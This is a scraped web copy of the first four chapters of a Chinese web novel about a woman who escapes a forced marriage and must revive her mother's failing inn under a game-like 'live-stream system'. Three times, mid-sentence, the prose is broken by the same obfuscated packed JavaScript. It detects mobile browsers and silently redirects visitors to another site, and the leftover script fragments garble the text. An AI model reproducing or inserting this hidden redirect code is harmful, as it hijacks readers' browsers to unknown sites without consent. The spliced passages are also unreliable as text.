《我被系统强制盘活客栈后爆红了》 1. 第 1 章 “抓住她!” “别让新娘子跑了!” 张家闹哄哄的喜堂现场,两三个尖利的女声扯着嗓子高喊。 黎映真一身喜服,本该红艳明丽。 可这会儿她头上的凤冠歪了,发丝散乱,衣衫不整,狼狈得像是逃荒来的,在人群中横冲直撞,一门心思朝着敞开的大门跑去。 “关门,快关门!” 大门被关上前,几个家丁终于追上来将她围在中间,眼看是跑不掉了。 摘下凤冠,黎映真直接扔了出去,又拔下发间的簪子抵在颈间,一副抵死不从的坚决模样。 “孽女。”黎世昌满脸怒容走来人群中,指着黎映真斥道,“今儿大喜的日子,你发的什么疯?还不快回去堂拜!” 又将簪子往颈上压了压,黎映真大声道:“拿我给黎文远换亲,我才不要嫁给张家那个病秧子。” 本就哄闹的喜堂里因黎映真这揭了家丑的言辞瞬间炸开了锅,宾客们交头接耳,对着他们父女指指点点。 “呀,今儿这趟喜酒可是比说书先生的戏文还精彩呢。” 一个懒洋洋的声音传来,既戏谑,又带着几分漫不经心。 黎映真循声望去,见墙头倚着个身穿甲胄的捕快,嘴角正噙了抹看到热闹的笑意,半眯着眼,偏透着股洞悉一切的锐利。 他从墙头一跃而下,稳稳落了地,在众人的诧异声中,一面把玩着腰间的绳索,一面行至人群中,朝黎世昌跟张家老爷拱手道贺:“恭喜两位老爷,今日一嫁一娶……” “我是被逼送来这儿的,绝非自愿嫁娶。”黎映真打断道,“官府难道不管这强抢民女的勾当吗?” “休得胡说!”黎世昌再度呵斥黎映真,面对李弦时又收了些气焰,“李捕快莫听这丫头胡言乱语,不过是女儿家不懂事,正闹脾气。” “闹脾气?”李弦扯动嘴角,转而走去黎映真面前。 他个子高,身影能将黎映真完全罩住,无形之中便有一阵压迫传来。 黎映真不知他究竟什么来路,满是防备地盯着他,不由后撤一步,攥紧了手里的簪子,那尖头抵着脖子的不适之感已十分明显。 但李弦并未因她颈上已渗出的血点有任何动容,只垂眸看着。 眼波里躺着笑意,眼底却是冷的。 “黎小姐,这样拿着凶器在喜堂,按律以闹事处。” “那你带我回衙门,公事公办。” 他微微凑近,低声在黎映真耳边道:“这个逃婚理由太拙劣了。” 不等黎映真反应,李弦转身,信步回到黎世昌跟前,道:“民间嫁娶,两家喜事,原不该官府过问。但若真有强娶豪夺之事……” “李捕快,这是黎、张两家的家事。”黎世昌身旁的郑氏忙道。 不忙着反驳,李弦掩唇佯咳了两声,随后扬声道:“《大魏律》定,强迫良家子婚嫁者,按律严查、严办。” 他声似金玉,掷地有声,简单一句话不仅让黎世昌跟郑氏闭了嘴,也教全场噤若寒蝉,皆等着看他接下去要如何。 眼看黎世昌脸色煞白,当场吃瘪,黎映真心底是解气的。 然,她也意外于这个素未谋面的捕快居然会替自己说话? 可谁知这不会是欲扬先抑的把戏? 果真,李弦话锋一转,看向黎映真,嘴角的笑意更深了些,仍旧没什么温度,道:“黎小姐这簪子算不得凶器,可终究将这喜堂闹得一团乱,该吃些教训。” 黎映真不服。 但喜堂内桌椅横斜,酒水乱洒,的确一片狼藉,李弦不过是在陈述事实。 只是他这神情配上说话的口吻着实惹人生气,便教黎映真愤愤瞪着,又不敢轻举妄动。 李弦却似受用黎映真这般目光,不仅没与她甩脸色,反而笑着又走近过来。 黎映真见状不得不退。 她退,李弦便进。 两人之间距离不过在尺余之间,最后她就这样被步步紧逼着,一路退到了人群之外。 退到靠近大门的台阶处,见李弦没再相逼,黎映真停下。 可她不过瞥了一眼身后,李弦便趁机抬手,夺下她手中的簪子。 指腹沿着簪身一摸,上头的血迹到了他指尖——簪子轻得很,空心的,黎家在成安县也算有头有脸,结果嫁女儿连根金簪子都舍不得陪嫁。 “黎小姐这脾气,就算今日逃了这门亲,以后怕是也难嫁出去吧?”他垂眼看着手里的簪子,神情玩味,说话的声音不大。 黎映真却听得清清楚楚,毫不示弱地回敬道:“嫁不嫁得出去与你何干?你身为捕快,见乱不平,只知凑热闹,这才是渎职。” 她义愤填膺,话说得又急又快,便透着股泼辣劲儿。 李弦愣了愣,随后才低低笑了一声,不同于先前的戏谑,带着几分新奇、愉悦,像是听见了什么趣事。 “你笑什么?”黎映真皱眉。 不见李弦不作答,她只瞧那人一手拿着簪子把玩,一手指了指颈间,目光自是落在她身上的。 她后知后觉,抬手摸上自己颈间,那处被簪子划破的口子虽不大,却也是疼的。 再看看手,指腹还沾了血迹。 另一头,李弦将簪子交给黎世昌道:“今日这婚事,怕是办不成了。还请黎老爷回去严明家教,否则,下次我可就不是来凑热闹的了。” “李捕快说的是。”黎世昌欲怒难发,只得握紧那根簪子,竟是将簪身攥得有些变了形。 “呀,忘了还在追贼呢。”李弦跟突然换了个人似的,跨着流星大步离开了喜堂。 黎映真看着那抹青色身影最终消失在视线中,缓缓松了口气。 先前那阵紧绷的情绪才有所松动,她听见黎世昌又怒又愤的一声“孽女”传来,抬眼时,郑氏怨毒的目光也被她尽收眼底,那模样像是要将她生吞活剥了。 “真是个悍妇啊。” “黎家以后可有热闹咯。” “可惜了这花容月貌。” 宾客们议论纷纷,但眼见闹剧散场便都自行离去。 黎映真自然不去管他们,只等着黎世昌暂且压下这桩事后离开张家。 跨出张家大门的那一刻,黎映真忽然道:“我要我娘的客栈。” 趁着方才等待的时间,她算是将一切都理清楚了—— 黎映真生母早逝,早些年,黎世昌仍念着夫妻情分,对她还多有关照,也未曾扶正妾室郑氏打压她。 但这些年随着郑氏之子黎文远年岁渐长,黎世昌又听多了枕边风,便开始偏袒他们母子,甚至为了所谓的男丁血脉,要牺牲她这个女儿,为黎文远换取丰厚资源。 而她现在,正是莫名其妙穿成了这个倒霉的商家女,眼前没有多余的退路,只有生母留下的那一间客栈,能作为她在这个时空挣扎求生的基础。 “叮!” 一个清脆的金属音忽然在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937294|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑海中响起。 “恭喜宿主完成前置,现在启动穿越求生直播系统。” “接取直播任务:三个月内盘活客来居,获得达标热度值。” “任务成功奖励:获得在本时空的自由生存权,并解锁系统高级功能。” “任务失败惩罚:抹杀。” 真是一波未平一波又起。 黎映真还没弄清楚直播系统究竟是怎么回事,便听黎世昌问道:“你要客栈做什么?” “那本就是我娘留下的产业。这些年没好好经营已对不起她的心血……”她犹豫再三,说服了自己多时,才勉强叫了黎世昌一声,“爹……爹你难道忍心看着客栈关业吗?” 郑氏插话道:“那间客栈早年就一直亏着本,若不是老爷念着旧情,苦苦支撑……” “我们父女说话,你多什么嘴!”黎映真怒道。 郑氏恃宠而骄,仗着黎世昌撑腰原也不将黎映真这家中嫡女放在眼里,不屑地瞟了她一眼,道:“老爷已将客栈抵出去,拿银子给文远做生意去了。” 黎映真惊道:“你说什么?” “我说,客栈没了!”郑氏得意地看着她,正是在炫耀自己的胜利,“原还有你出嫁为家里头拉拢张家出力的份儿,现在你这么一闹,硬生生得罪了张家,还要老爷善后,真是一点都不知为家里分忧。” 顾不上郑氏说话难听,黎映真质问黎世昌道:“她说的是真的?客栈已经抵出去了?” 没有立即等来黎世昌的回答,黎映真便始终抱着一丝希望。 这种时候哪怕做戏也要做全套,她便有意哽咽着又叫了一声:“爹……” 再也没了大闹喜堂时的放肆坚决,尾音颤着,听来楚楚可怜。 “老爷,家中有文远呢,没道理让女儿家掌管家业,这说出去,外人还要当咱们黎家无人……” 郑氏的喋喋不休催动着黎映真内心的怒火,可她只觉得在短暂的穿越时间里经历了太强烈的情绪波动,身体开始难以支撑,眼前一黑便没了知觉。 醒来时,黎映真正躺在黎家柴房里。 唯一的一扇窗死死关着,窗纸上映着浅淡的月光。 竟就这样过去一天了。 她尝试推门,发现果然是落了锁的。 回到墙根坐下,黎映真满脑子都是那个系统,还有所谓的任务。 “三个月?”她低声自语,“三个月还不知能不能拿回客栈。” 有些泄气地靠去身后冰冷的墙面,她长长叹了一声,还是没有任何思绪。 屋顶上像是有野猫经过,踩着瓦片,发出轻微的声响。 黎映真睁开眼,抬头看着屋顶。 不慎牵动颈间的伤口,她摸了摸,只触到已经结痂的血块,自嘲道:“我愁得睡不着,你们这些猫儿倒是在夜里撒欢。” “三个月,我难道只有三个月的命了?”将剥下的那一小片血痂捻在指尖,越想越不甘心就这么认命。 不知不觉,那片血痂便被搓成了暗红色的碎屑,只余下一点儿粘在指尖,被攥进黎映真收拢的拳中。 被月光照得仿佛覆霜的柴房屋顶,李弦正坐在屋脊上,眉心拧紧,静默沉思。 而那垂落的视线似能透过层层屋瓦透入柴房里,姑且陪伴那被要求在此闭门思过的黎家大小姐。 再看了看自己身上的夜行衣,他讪笑着摇头道:“真就剩三个月的命,还有心思拿野猫取乐呢。有意思。” 2. 第 2 章 在柴房待了一夜,黎映真直到天快亮时才终于抵不住倦意,蜷在干草堆旁睡了过去。 “第一次出任务,锚点不稳定,这会儿才重新连上。宿主,你还好吗?”那个奇怪的系统忽然出现。 混困空间里伸手不见五指,黎映真只觉得这个声音从四面八方包围着自己,就像一张网,将自己硬生生困在其中。 她讨厌这种被监视的感觉,但眼下有更重要的事。 “第一次出任务……”黎映真琢磨了一会儿,试探问道,“萌新系统?” “嘿嘿,为了宿主穿越量身定制的,以后咱们就是搭档了。” “搭档?我做任务,跟你也有关系?你有好处?” “我需要系统升级,所以搭档,拜托拜托,加油努力,我们是一条船上的。” 这句话的意思,不明摆着是说要靠她做任务升级系统? 那就是有拿捏这家伙的地方。 有了这个猜测,黎映真舒坦了一些,又问道:“任务要我盘活客来居,但是客栈已经被抵出去了,拿回客栈也算在总时间里?” “这……”系统支支吾吾,显然是默认了。 但黎映真转念一想,新手系统刚才那么好套话,这会儿却犹犹豫豫,会不会另有隐情? 在空间里走了几步,抬手轻轻挥动以示对系统的亲近,黎映真放软了语气,问道:“搭档,是不是有什么不方便说的?你可以给点暗示。或者,我们玩个‘对’和‘沉默’的游戏?” 一片沉默,周围静得只剩下她的呼吸声。 “哔——” 尖锐刺耳的声音突然扎进黎映真的耳膜,登时将她从混沌梦境中惊醒。 眼前出现一张陌生的面孔。 “小姐。”一个穿着布裙的小丫鬟关心地黎映真,“小姐,你没事吧?” “嗯……没事。”还没完全从那阵高频金属音的余波里回神,她却食物的香气吸引了注意。 小丫鬟叫翠环,从小跟着黎映真,这会儿是特意来给她送吃的的。 确定了是自己人,她接过翠环手里的饼,大口吃了起来。 正填着饿了一晚上的五脏庙,黎映真瞧见翠环始终哭丧着脸,显然有事。 “怎么了?”她放下饼。 翠环吸了吸鼻子,开口时有些哽咽,道:“奴婢听见早上郑姨娘跟老爷说,和张家的婚事还是能办则办,否则那好些聘礼都得退回去,损失太大了。” “真是贼心不死。”黎映真忍不住呸了一口。 一想起郑氏那副嘴脸,她便恨得牙痒,狠狠咬了一口手里的饼,就像咬在郑氏身上一般。 只这一口又不解气,她便又多咬了几口 这样子逗得翠环发笑,黎映真便苦中作乐,一块笑了出来。 笑着笑着,她忽然整个人蜷去地上,咿咿呀呀地喊起来:“疼……好疼啊……这饼该不是掺了什么脏东西吧……” “小姐,你……” 翠环一句话还没说完,那蜷成一团的人忽地抬头,冲她眨了眨眼。 小丫鬟一时没理解状况,但被黎映真推了一把,她大约也就明白了,立即找来外头看守的家丁,借找大夫的由头将人支走。 黎映真见状忙从柴房出来,给翠环支了应付郑氏责问的招,从就近的偏门离开了黎府。 郑氏一心用她换亲,黎世昌又偏袒他们母子,她现在还留在黎家无异于羊入虎口。 但是不回去,又不方便打听客栈的情况。 回想起昨日在张家外,黎世昌和郑氏的反应,黎映真总觉得另有蹊跷。 “黎小姐这是打哪儿来,又砸了哪家的戏台?” 拐角的晨光中映出一道慵懒身影,抱臂靠着青砖墙,眼盛晨曦,嘴角扬起的笑意撩着经过的微风。 正是李弦。 念着昨日他总算搭救了自己的恩情,黎映真没有反驳他的调侃,而是走上前去,压下心底对这人的别扭,低声道:“昨日多谢李捕快。” 李弦受用,唇角翘得更高,凑近问道:“不说我渎职了?有事求我?” 暗道这人心思转得太快,黎映真反倒心虚着低下头:“嗯。” 声音轻得被风一吹就散了,哪里还有昨日大闹张家的气势。 李弦啧啧啧有声,直往黎映真眼前凑,又是昨日在张家那副看热闹的模样,也是在看她—— 她不似当时张扬放肆,此刻眼波平静,淌着倔强之色,透着股势如野草的韧劲。 视线落下三分,她颈间那道细长的伤口还依稀可见,显然没有处理。 见他皱起眉,黎映真却不知哪里惹他不悦,于是试探道:“李捕快?” 李弦在眨眼间变了脸,站直了身子,昂着头,道:“你有求于我,可我正当值。” “要的就是你这一身衙门的行头。”黎映真道,“维护成安县太平的职责中,应该包括我这个县中百姓吧?” 李弦虽未应声,但黎映真看得出他似乎接受了自己的说辞,便是得意道:“李捕快,请。” 她让出身后通向黎府的路,请李弦先行。 眼前忽地晃过一道影子,不等黎映真反应,双手竟被绑住。 她定睛时,李弦动作快得已在收尾,推紧了打下的绳结,神秘一笑道:“做戏嘛,自然要全套。” 他拽了绳索的另一头正提步要走,抬眼便瞧见前头有人追了过来。 “可算来了。”轻轻一拽绳头,李弦领着黎映真迎了上去。 两人跟出来寻找黎映真的黎府家丁碰了面,李弦以黎映真情况异常为由,坚持亲自将人送回黎家,家丁自是不敢拦的。 黎世昌听闻是李弦送人回来的,脸上的怒意里又添难色,只得先出去迎人。 但见李黎二人一前一后进来,黎映真还被绑着,他一时错愕,失声道:“这……” “我正巡街,瞧见个鬼鬼祟祟的身影,上去动了手才发现是黎小姐。”李弦一面替黎映真松绑,一面煞有介事地说着,“这嫁衣还是昨天的吧,一晚上都没换,是我眼拙,没认出来。但想着昨日在张家那架势,还是暂且委屈黎小姐才安全些。” 他背对黎世昌拦在黎映真跟前,边说边笑,对上黎映真此刻愤怒又无可奈何的目光,嘴角扬得更高。 转身收起绳索,李弦又瞥了一眼神情窘迫的黎世昌与郑氏,继续道:“这一路上我光听黎小姐念念有词,听着很是委屈,可街上吵得听不清,贵府那两个家丁又催着,这会儿人送回来了,你们自己人且商量……” “我要我娘的客栈!”黎映真打断道,比昨日更斩钉截铁。 “都已和你说了,客栈抵出去了。”郑氏皱着眉很不耐烦,却也只在黎世昌身后,暗暗扯着那一家之主的衣袖。 两人这暗通款曲的样子跟在张家外如出一辙,更让黎映真怀疑另有隐情。 她上前,问黎世昌道:“爹,客栈是我娘留下的东西,你一定不会轻易就将它抵出去的,是不是?” 见黎世昌如昨沉默,黎映真更有把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937295|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握。 藏在袖中的手收紧了些,她飞快在脑海中闪过的几个想法中做了决定。 “客栈交给我,三个月为限。这三个月内,盈亏我自负,三个月后,我每月给爹分红,三成。” 听郑氏一声嗤笑,黎映真眸一沉,神情更是坚韧,道:“若我第三个月交不出分红,客栈和我都听凭爹处置,我绝不反抗。” 郑氏眼底一亮,道:“三分是多少?真姐儿可知客栈这些年亏了多少银子?空口白牙一句话,没个实数,到时怎么说可都由你了。” “那等第三个月,我交三十两……” “八十。” 成安县不算大地方,三个月要将一家濒临关业的客栈扭亏为盈,还要赚够八十两属实为难人。 李弦听了这个条件都不禁皱眉,可他却见身旁的黎映真面不改色,一时间摸不透这姑娘在想什么了。 “哎。”低低唤了一声,李弦试探问道,“被吓着了?” 黎映真瞥了他一眼,对黎世昌道:“我诚心与爹商量,若爹跟郑姨娘还要为难,那我要回的就是我娘在官府入册的嫁妆,不只是嘴上说的那一间黎家经营的客栈。” “你……”黎世昌指着黎映真想要说什么,可见李弦在场,他多少顾着面子不便发作。 拿准了这个破绽,黎映真继续道:“我只想要回我娘的客栈,至于经营的这些年里究竟亏了多少,爹拿出账本,我们对个数,将来我还就是了。” “孽女!”黎世昌一脸悲愤,盯着黎映真久久没有下文,那指着她的手在发颤却一直不肯放下。 黎映真全然不为所动,退到李弦身边,道:“李捕快是公家人,正好为我们做个见证,今日将条件都谈妥了,省得以后麻烦。” 李弦抖抖肩,梗了梗脖子,看似正经几分,却依旧不改眼底笑意,道:“黎老板若觉得我不够自资格,请县令作证也未尝不可。说起来,他过去常吃你们客栈的鲤鱼烩面,应该乐意掺和这事儿。” 他偏帮之意明显,黎世昌无意与衙门的人纠缠,也或许是仍留有的那一丝对元配的夫妻之情、对黎映真的父女血缘让他终究不忍心与这个女儿彻底决裂,便就此妥了协。 于是他们约定三个月为限,黎映真到期若能交出五十两,客栈便由她继续经营,房契地契一并交付,若她办不到,则必须听从家中安排,不得反抗。 拿着画了押的契约书,黎映真原是松了口气。 只是当站在客来居前,看着与周围繁华的街市格格不入的破落门户,她只觉得心口闷得厉害,连喘气都变得费劲儿。 “三个月,神仙都不好救。”李弦的感叹中带着明显的调侃。 正腹诽着李弦多嘴,黎映真见他提着她的行李走向客栈,不由暗道自己小心眼了,这人似乎还不错。 然而下一刻,李弦将行李放在客栈门口,拍了拍手,道:“还没巡完街,再不走就赶不上换值了。” 像他今日出现时那样出乎意料,他走得也跟阵风似的,未再多留下一句好话。 黎映真只得自己提起行李上前,推开客栈紧闭大门。 “吱呀——” 门臼转动的声响似碾在她耳膜上,搅动着她本就低落的情绪,像是强行将她拽入更意想不到的窘迫中。 “你是……” 扑面而来的陈旧腐霉味里,黎映真听见陌生的声音响起。 与此同时,那个讨人厌的系统音也蹦了出来。 “当前直播间热度值:0。” 3. 第 3 章 阳光照进铺满尘土的客栈大堂,光线里浮动着无数细小的尘埃,呛得黎映真咳嗽不止。 “你是?” 再度响起的陌生声音从身后靠近,黎映真一只手捂着口鼻,回头瞧见一个有些眼熟的妇人。 妇人挎着篮子,仔细打量着黎映真,恍然道:“小姐!是小姐!我,我是周嫂,你不记得了?前些年你跟老爷来客栈,还跟我们都说过话呢。” 关于周嫂的记忆有些模糊,但看她如此殷勤,黎映真暂且应了下来。 周嫂帮着将行李搬进大堂,擦了两张凳子跟黎映真凑合坐着便是打开了话匣子。 “夫人走了之后,老爷接手客栈,生意其实过得去,只是比起夫人在时差了些。 “可后来少爷接管……” 听周嫂长长叹了一声,再是看着这灰尘遍布、爬满蛛网的景象,黎映真能想到黎文远是如何作践客栈的。 她拿出契约书,在周嫂面前展开,道:“从今天开始,客栈归我管。” “真的?”周嫂凑近契约看了看,又尴尬地退开,但脸上的笑容很是灿烂,“老婆子认得字不多。不过客栈有救了,夫人在天之灵也能安心了。” “不过……”黎映真收起契约书,一脸落寞,“我只有三个月的时间,如果到期不能让客栈扭亏为盈,交足够的盈利分红给我爹,他还是要收回客栈的。” 周嫂顿时收了声,搓着衣角低头琢磨起什么来,稍后才问道:“小姐真想把客栈重新做起来?” “自然。”黎映真点头。 “啪”的一声,周嫂一拍大腿,信誓旦旦对黎映真道:“小姐信得过我,老婆子我就跟着小姐干。原也是客栈熬不下去了,大家才被少爷遣散的。 “如今有小姐在,客栈就又有了主心骨。我去找找老厨头跟阿桃他们,都是以前在夫人手底下讨生活的,要是知道小姐接管客栈,他们肯定乐意回来帮忙。” 不等黎映真反应,周嫂已挎着篮子风风火火地跑了出去,嘴里还念叨着:“我这就去找他们。” 在周嫂的帮助下,黎映真算是招徕了重开客栈的第一批帮手。 从老到少,看着是不成气候的杂牌军,但他们对客栈这次东山再起都抱有极其强烈的热情,黎映真也不免受到了感染。 从黎家出来带的银子不多,其中一部分的资金都被黎映真用在了前期准备上,再下去便要量入为出,仔细花手里的每一个铜板。 咬着笔杆子对着近期的花销账目和手里剩下的银子发愁,她忽然灵光一闪—— 别人穿越携带的系统都是金手指,她的这个萌新系统是为自己量身定制,难道不应该更好用? 于是为了链接系统,她尝试了冥想、睡觉,甚至想让周嫂打晕自己,但周嫂不敢动手。 “小姐,你没事吧?”周嫂关心道,“虽然咱们只有三个月的时间,但也不能太伤身。” 周嫂脸上怪异的表情让黎映真意识到自己确实操之过急,而她这种行为很可能让别人以为她不正常,就像她那天发了疯似的大闹自己的婚礼。 如今外头都在传她实有疯症还野蛮剽悍,大喜之日发了病再也瞒不住,于是被张家退了婚。 顶着这样的名声要打响重开客栈的第一枪称得上难上加难,黎映真连去木材加工行的路上都在绞尽脑筋想这件事。 头顶忽然罩下一片阴影。 “谁……”抬头见是李弦,她脸色缓和一些道,“李捕快又出来巡街?” “客栈还没开张,黎小姐还有心情出来看戏?”李弦抱臂,随身的佩刀被揣在怀里,笑吟吟看着黎映真。 “看戏?” 李弦侧身,让开前头的路,道:“方家老太爷大寿,特意搭了戏台请县里百姓看戏,请的是林州城名角儿,热闹着呢。” 来时一路心不在焉,黎映真此时才发现身边的路人都向着前头去。 她伸长了脖子去看,确实发现不远处原本空旷的场地上聚集了不少人。 一个模糊的想法忽地从脑海中闪过。 一时间还想不明白,黎映真不由自主地顺着人流往戏台的方向走去。 “搭个台子就能有这么多人……” 周围虽然闹哄哄的,但她心无旁骛便完全没注意李弦一直跟在自己身边。 终于,灵光闪现。 “有了!”黎映真激动地拨开人群便头也不回地向前跑。 李弦只觉得莫名其妙,喊道:“你去哪儿?” 只是四周人声夹杂着从戏台上传来的已经开场的敲敲打打,黎映真根本没听见他的声音。 去木材加工行检查完了预定的一批桌椅用具,黎映真马不停蹄赶回客栈。 老厨头孙伯正和年轻跑堂检查着大堂内最后的清扫工作,以便明日那批桌椅家具能够顺搬进来。 “孙伯……”黎映真跑得气喘吁吁,门槛都来不及跨,扶着门框问道,“孙伯,若我想请你当众表演厨艺,你可愿意露一手?” 孙伯拿着掸子走去黎映真面前,疑惑道:“小姐,你是什么意思?” 黎映真拍着胸口平复呼吸,慢慢走入大堂,指着视野最好的一块地方,道:“我想在这里搭一个小台子,请你当众表演做菜,吸引客人的注意。” “行倒是行,只是不会要老头子在上头做一天吧?”孙伯面露难色。 “自然不是。”黎映真解释道,“不过开始可能要辛苦你跟后厨的师父,我准备开业头三天,每天表演两场。若效果好,咱们这个特色就定下来,不过改成三天一次。我还准备给孙伯你包装一下,咱们客栈的庖厨长六天表演一次。” “听着有意思。”才检查完二楼的跑堂吴二趴在栏杆上,兴致勃勃道,“不过孙伯他们会那么多花样吗?表演时间长了,大伙会不会看腻?” 孙伯点头道:“是啊,老头子做菜还算凑合,真要表演,也没那么多花里胡哨的,过不了多久也就没新花样了。” “现在暂时不能保证这是长久之计,只是用来给客栈打名号的速成之法。”黎映真抿唇,也是有些忐忑的,不过她还有后招,给这“直播间”再添一把火。 “我知道表演会比在后厨辛苦,只要你们上台的,我都给分红,虽然不多,也是一点心意。”她走近孙伯低声补充道,“孙伯你技艺更高,出场费我多给你结。” 孙伯忙摆手道:“老头子是为了客栈才回来的,不会跟小姐计较这些。而且现在客栈的情况,我们也都清楚。这法子真要能赚钱,小姐也先留着,等客栈稳定了再算也不迟。说服他们的事,包在老头儿身上了。” 于是为了搭建“美食直播间”以及准备相应的宣传,黎映真将原定开业的日子往后延了五日,一来等待印制的宣传单,二来也要组织阿桃、吴二那帮年轻帮工找准人流密集的繁华部位分发。 这样新增一笔宣发费用支出,让黎映真本就不富裕的资金更是捉襟见肘—— 如果这次的“直播间”不能在成安县一炮而红,对她和黎世昌的赌约便大不妙。 开业前一日的傍晚,黎映真在客栈大堂召集大伙,算是做最后一次动员大会。 然而在一番慷慨激昂的鼓励致辞后,黎映真还是发现了看似热烈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937296|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气氛下,大家仍掩藏不住的担忧。 “这三日我出去发宣传单,感觉外头那些人对我们的‘直播间’都不太感兴趣的样子。” “我还特意说了只要花够满十文,就有机会无偿获得表演做的菜,可他们好像避之不及。” “对,我觉得他们看我们的眼光就和见鬼了一样,躲都来不及。” 负责散发宣传单的几人无奈地说着被歧视的经历,登时让原本热情高涨的氛围变得低落消沉。 大堂内鸦雀无声,大家面面相觑,都在等着黎映真出主意。 “事已至此,但我们总要走下去。”黎映真神色坚定,目光炯炯,“现在这样的情况,多少因为我跟张家的婚事造成,可大家愿意回来帮我,我十分感激。 “既然都做到这份儿上了,十日的辛苦不能白费。不管怎么样,我都会努力撑足三个月。我知道大家的顾虑,这三个月里,工钱日结,不会拦着各位另谋出路。但如果留下来,我们就一起鼓足干劲。 “不努力一把,怎么会知道咱们客栈不能做大做强呢?” 大堂内依然沉寂一片。 “啪。啪。啪啪。”黎映真为了带动气氛,率先试探着拍了几下手掌。 周嫂即刻接上。 接着是阿桃、吴二、孙伯…… 很快,掌声连成一片,大家都因此受到了鼓舞,脸上的愁色逐渐被满富斗志的笑容取代。 而回荡在大堂中的掌声也久久没有平息。 翌日,客来居按计划,在吉时开业。 因预算有限,排场不算浩大,但该有的喜炮和吹打也都准备了,确实吸引了一些好奇的百姓,客栈外头也热闹了一阵。 只是最终愿意踏进客栈的却寥寥无几。 门外是热热闹闹的鼓乐敲打,但布置一新的客栈内,只零星坐着两三桌的客人,两厢对比惨烈,吴二连送菜报菜名时都有意控制声量。 迎宾进来的黎映真见状虽有些泄气,却也强忍着没有表露,笑着招呼客栈内的食客。 她终于明白强颜欢笑究竟是什么感觉了。 眼见一点点逼近“直播间”开始的时间,但大堂里这门可罗雀的的景象,着实让人发愁。 “搭档!我被强制送去培训才回来。”系统终于出现。 “直播间热度值有变化吗?” “我看看。”短暂的沉默,“搭档……我们还是有进步的,现在是1了。” 黎映真丝毫不在乎系统这毫无用处的情绪价值,低声嘀咕道:“一点用都没有。” “不是啊,热度值可以……”系统戛然而止。 捕捉到其中玄妙,她试探问道:“可以什么?” “我不能说。” 她猜得没错,果然有猫腻。 黎映真佯装道:“那就一拍两散。” “任务失败的话,会被抹杀。”系统试图威胁。 可黎映真在心底冷笑,道:“反正回不去,这破世界不待也罢。对吧?我的,专属系统。” 就在黎映真试图套系统的话找到破局之法时,客来居外的茶摊上,李弦正看着从副手那儿拿来的客栈宣传单。 “美食直播间?现场抽奖?” 看着门庭冷清的客栈,李弦眼底的玩味几乎就要漫出来,呼应着正挂在他唇角的笑意。 付了茶钱,李弦起身。 茶摊老板一看压在宣传单上的铜板,冲着正走向客栈的李弦喊道:“李捕快,给多了。” 正信步走在阳光中的高大身影没回头,挥了挥手,道:“请你去对面客栈抽奖玩的。” 4. 第 4 章 “笃。笃。” 黎映真被柜台台面传来的声响吵醒。 她正在关于直播热度值的事套系统的话,已经到了关键时刻,却突然被打扰,自然不会有好脸色。 “谁……” 怒火窜上心头还来不及发作,她便被对面李弦含笑的眉眼愣了神。 这人今日没穿公服,一身杏黄常服倒也干练,只是没了那肃穆的甲胄压一压,他通身放荡不羁的气质更是明显。 李弦靠着柜台,身子倒向里头的黎映真,视线却在空空荡荡的大堂里转了一圈,明知故问道:“第一天?” 瞧他的视线又转来自己正摊开的账本上,黎映真赶忙合上。 他怕被纸页扇着似的躲开,扬着嘴角,悠然往空着的位置去,道:“饿了,来碗客栈招牌吧。再要一份,带走。” 黎映真念在进门即是客,特意让吴二告诉后厨加量,再拿着准备好的号码牌,亲自拿去给李弦。 李弦拿起刻着数字的木牌在手里把玩,问道:“这是抽奖用的?” “李捕快果然才智过人。”黎映真笑着回道。 但任谁都听得出她说得不走心。 李弦低笑一声,余光中瞥见门外杵着几个人影。 他转头去看,见是三三两两的百姓正在外头对客栈指指点点。 那神情看着并不友善。 “这就是黎家那个疯丫头开的客栈。” “一个疯子开客栈?谁敢进?” “你不知道,她这客栈里的人都邪乎,这几日到处发那个……那个宣传单……啧啧,从来没听说过。” “我也被塞了那个东西,还说什么直播间、抽奖,你们听听,都什么和什么?正经人家谁能想出这些奇怪的东西。” 议论声夹在街市的喧闹里一并传了进来。 虽是黎映真早就预想过的情景,可要她全然淡定地接受这些当面发生的指摘,还是太过考验她的性子。 当又一句散发着恶意的评论送到黎映真耳畔—— 疯子开的客栈,也不怕吃了中邪,住了撞鬼。 她终于再也忍耐不住,径直冲了上去。 李弦见她边走边撩起衣袖像是要去找人动动筋骨的模样,暗道不妙,即刻跟了上去。 豆绿色的身影朝门框一倚,露着的半截小臂交错着抱在胸口,黎映真道:“吃了我家的东西中不中邪且没定论,但有些人十文钱都出不起,光会嚼舌根是明摆着的事。” 那几个方才还在交头接耳的妇人见正主来了立刻都收了声,只敢侧目瞪着。 